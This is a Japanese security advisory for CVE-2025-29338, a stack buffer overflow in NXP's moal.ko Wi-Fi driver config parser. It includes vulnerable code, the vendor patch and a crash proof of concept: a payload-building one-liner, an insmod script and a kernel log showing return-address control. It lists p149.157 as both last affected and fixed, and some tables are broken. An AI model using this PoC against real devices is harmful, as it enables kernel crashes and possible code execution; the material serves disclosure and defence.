
NXP moal.ko Wi-Fi カーネルドライバにおけるスタックベースのバッファオーバーフロー (CWE-121) に関する技術勧告および概念実証。これにより、ローカルカーネルパニックと潜在的な任意コード実行が可能になります。
woal_setup_module_param / parse_cfg_get_line)| フィールド | 値 |
|---|---|
| CVE ID | CVE-2025-29338 |
| 深刻度 | High |
| CVSS v3.1スコア | 7.8 |
| CVSS v3.1ベクター | CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| 脆弱性タイプ | スタックベースのバッファオーバーフロー (CWE-121) |
| 攻撃ベクトル | ローカル |
| ベンダー | NXP Semiconductors |
| ベンダーパッチ状況 | パッチ済み |
| 発見者 | Mahmoud Jadaan — diconium auto GmbH |
NXP moal.ko Wi-Fiカーネルドライバ(バージョン5.1.7.10)のファームウェアビルドv17.92.1.p149.43からv17.92.1.p149.157に、スタックベースのバッファオーバーフロー脆弱性が存在します。この脆弱性は、parse_cfg_get_line(mlinux/moal_init.c)にあり、woal_setup_module_paramから呼び出されます。設定ファイルの行を固定サイズのスタックバッファに読み込むwhileループに宛先バッファサイズのチェックが欠如しており、任意の長さの行がバッファをオーバーフローさせ、スタックを破損し、カーネルパニックを引き起こす可能性があります。NXP PSIRTがこの脆弱性を確認し、修正がリリースされました。
woal_setup_module_paramはMAX_LINE_LENバイトの固定スタックバッファを割り当て、mod_para設定ファイルを処理する各反復でそのバッファをparse_cfg_get_lineに渡します:
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
// process line
}
脆弱性のあるバージョンのparse_cfg_get_lineでは、whileループの条件はソース位置と行終端記号のみをチェックしており、宛先バッファに書き込まれたバイト数に対するチェックがありません:
// parse_cfg_get_line — vulnerable version (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
t_u8 *src, *dest;
static t_s32 pos;
if (pos >= size) {
pos = 0;
return -1;
}
memset(line_pos, 0, MAX_LINE_LEN);
src = data + pos;
dest = line_pos;
while (pos < size && *src != '\x0A' && *src != '\0') {
if (*src != ' ' && *src != '\t')
*dest++ = *src++; // unchecked write — no dest bounds check
else
src++;
pos++;
}
pos++;
*dest = '\0';
return strlen(line_pos);
}
MAX_LINE_LENバイトより長い設定ファイルの行は、destが呼び出し元のスタックバッファの末尾を超えて進み、保存されたフレームポインタやリターンアドレスを含む隣接スタックメモリを上書きします。
| 属性 | 値 |
|---|---|
| タイプ |
このドライバはシステム起動時にinsmodでロードされ、mod_paraパラメータで設定ファイルを指定します。細工された設定ファイルを作成し、カーネルモジュールをリロードできる攻撃者は、オーバーフローを引き起こすことができます。
| 影響 | 説明 |
|---|---|
| サービス拒否 | カーネルパニック — 確認済み; 即時システム再起動を引き起こす |
| カーネルメモリ破損 | スタック破壊により保存されたrbpとリターンアドレスが上書きされる |
| 潜在的なコード実行 | リターンアドレスが制御される — 適用されている緩和策(スタックカナリア、KASLRなど)に応じて任意のカーネルモードコード実行が可能になる可能性があります |
基本スコア: 7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
防御および研究目的のみに提供されます。
#!/bin/sh
rmmod moal
rmmod mlan
スタックバッファはAで埋められ、その後にスタックカナリアスロット用の8バイト(B)、保存されたrbp用の8バイト(C)、リターンアドレスを上書きするための8バイト(D)が続きます:
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin
mod_paraパスは、カーネルがファームウェアを検索するディレクトリ(通常は/lib/firmware/)からの相対パスである必要があります。それに応じてパスを構築します:
#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin
insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
mod_para=$PAYLOAD_PATH \
drvdbg=0x7
モジュール初期化中に即座にカーネルパニックが発生します。カーネルログにより、リターンアドレスが0x4444444444444444(ASCII DDDDDDDD)で上書きされていることが確認され、命令ポインタが完全に制御されていることを示しています:
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444 <-- controlled return address
NXP PSIRTは脆弱性を確認し、mlinux/moal_init.cに以下のパッチを提供しました。この修正は、parse_cfg_get_lineループ内に境界チェックを追加し、MAX_LINE_LENを超える前にループを抜けるようにします:
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
else
src++;
pos++;
+ if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+ PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+ break;
+ }
}
/* parse new line */
pos++;
上記のパッチを含むv17.92.1.p149.157以降のファームウェアバージョンに更新してください。追加の強化策として:
CAP_SYS_MODULEを信頼された管理者に限定し、SELinux、AppArmor、またはseccompを介してinit_module / finit_moduleシステムコールを制限します。mod_paraが参照するパスとそのファイルがrootのみ書き込み可能であることを確認します。NXP PSIRTは脆弱性を確認しました。修正は正式なソフトウェアアップデートの一部としてリリースされています。
発見者: Mahmoud Jadaan — diconium auto GmbH
この勧告は、CVEプログラムに従って最低限のCVE開示要件を満たすための公開リファレンスとして公開されています。
| フィールド | 詳細 |
|---|
| ベンダー | NXP Semiconductors |
| コンポーネント | moal.ko Wi-Fiカーネルドライバ |
| ドライババージョン | 5.1.7.10 |
| ファームウェア — 最初の影響バージョン | v17.92.1.p149.43 |
| ファームウェア — 最後の影響バージョン | v17.92.1.p149.157 |
| ローカル |
| 必要な権限 | CAP_SYS_MODULE (root または同等) |
| ユーザー操作 | なし |
| 攻撃対象領域 | mod_para カーネルモジュールパラメータ(設定ファイルパス) |
| メトリック | 値 | 根拠 |
|---|
| 攻撃ベクトル (AV) | Local (L) | ローカルシステムアクセスが必要 |
| 攻撃の複雑さ (AC) | Low (L) | 競合状態や複雑な前提条件は不要 |
| 必要な権限 (PR) | High (H) | CAP_SYS_MODULE / root が必要 |
| ユーザー操作 (UI) | None (N) | 完全に攻撃者制御下 |
| スコープ (S) | Unchanged (U) | 影響はカーネルコンテキスト内に留まる |
| 機密性 (C) | High (H) | カーネルメモリが読み取り可能になる可能性 |
| 完全性 (I) | High (H) | リターンアドレスの上書きを確認 |
| 可用性 (A) | High (H) | カーネルパニック / 再起動を確認 |